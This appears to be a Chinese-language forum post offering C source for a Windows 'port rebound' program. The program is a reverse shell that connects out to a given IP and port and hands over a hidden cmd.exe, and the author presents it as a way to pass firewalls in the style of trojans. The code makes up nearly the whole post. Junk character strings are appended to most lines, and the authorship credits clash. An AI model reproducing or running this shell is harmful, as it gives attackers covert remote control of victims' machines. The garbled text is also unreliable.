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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 sa26u`?  
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/* ============================== d|RqS`h ]  
Rebound port in Windows NT eumpNF%$  
By wind,2006/7 ToVi;  
===============================*/ 2a 3RRP  
#include 3w -0IP]<  
#include 6pCQP c*A  
5RysN=czA  
#pragma comment(lib,"wsock32.lib") IW<nfg  
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void OutputShell(); RMfKM! vE  
SOCKET sClient; %Ct^{k~1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D; bHX  
XFiP8aX<  
void main(int argc,char **argv) c6@7>PM  
{ %gb4(~E+N  
WSADATA stWsaData; 1K`7  
int nRet; C =6.~&(  
SOCKADDR_IN stSaiClient,stSaiServer; X*^^W_LH.  
$k|:V&6SV  
if(argc != 3) :p@.aD5  
{ &Oih#I  
printf("Useage:\n\rRebound DestIP DestPort\n"); VoTnm   
return; bz1+AJG  
} Mt93YD-2+  
:~Z -K\  
WSAStartup(MAKEWORD(2,2),&stWsaData); }CCTz0[D"  
H>qw@JiO!  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'Cv>V"X: `  
Uf ?._&:  
stSaiClient.sin_family = AF_INET; qZS]eQW.  
stSaiClient.sin_port = htons(0); @3Lh/&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Duu)8ru  
&P@dx=6d  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) DQ86(4e*g#  
{ m);0sb  
printf("Bind Socket Failed!\n"); R|&Rq(ow"  
return; O_kBAC-|R(  
} KS3>c7  
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stSaiServer.sin_family = AF_INET; a At<36{?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); )#H&lH  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L^{1dVGWNa  
6Kbc:wlR  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E<~Fi .M;\  
{ >OLKaghV.5  
printf("Connect Error!"); LrGLIt`  
return; =sYUzYm  
} ?DwI>< W  
OutputShell(); 5vmc'Om  
} pXy'Ss@y  
5uidi  
void OutputShell() )43\qIu\  
{ cUH. ^_a  
char szBuff[1024]; .S{FEV  
SECURITY_ATTRIBUTES stSecurityAttributes; VbG#)>"F  
OSVERSIONINFO stOsversionInfo; AVnH|31dC~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tpY]Mz[J  
STARTUPINFO stStartupInfo; 2d#3LnO  
char *szShell; `k.Tfdu)K  
PROCESS_INFORMATION stProcessInformation; wqnHaWd*  
unsigned long lBytesRead; (^@rr[. o7  
%6%~`((4  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6/5Xy69:h  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I,lX;~xb  
stSecurityAttributes.lpSecurityDescriptor = 0; LJc"T)>$`  
stSecurityAttributes.bInheritHandle = TRUE; zJ $&`=  
E-`3}"{  
@BmI1  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3T= ?!|e  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1`Ig A0V`"  
v:1DNR4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kdP*{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #>ob1b|  
stStartupInfo.wShowWindow = SW_HIDE; cSD$I^$oq  
stStartupInfo.hStdInput = hReadPipe; tgVMgu  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $VxKv7:  
k6$Ft.0d1Z  
GetVersionEx(&stOsversionInfo); T\wfYuc&X  
Nrn_Gy>|D  
switch(stOsversionInfo.dwPlatformId) DP8%/CV!*  
{ _qO'(DKylC  
case 1: Tpd|+60g  
szShell = "command.com"; F+SqJSa  
break; 4~K%,K+Du  
default: LG+2?+tE"  
szShell = "cmd.exe"; 0 L$[w  
break; kj>!&W57  
} sW,JnR  
h.*v0cq:  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :Dj0W8V  
S?[@/35)  
send(sClient,szMsg,77,0); 7C9_;81_Dt  
while(1) @Cml^v@`L  
{ L"tzUYxg  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); zMXQfR   
if(lBytesRead) |[Rlg`TQ;*  
{ % aqP{mOO  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &"?S0S>r!  
send(sClient,szBuff,lBytesRead,0); c[>xM3=e^q  
} H:F'5Zt  
else &\y`9QpVF  
{ AGGT] 58|  
lBytesRead=recv(sClient,szBuff,1024,0); !+u K@z&G  
if(lBytesRead<=0) break; agkGUK/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +^DDWVp  
} Z0[d;m*  
} ]Zz.n5c  
ueyQ&+6r  
return; ntntB{t  
}
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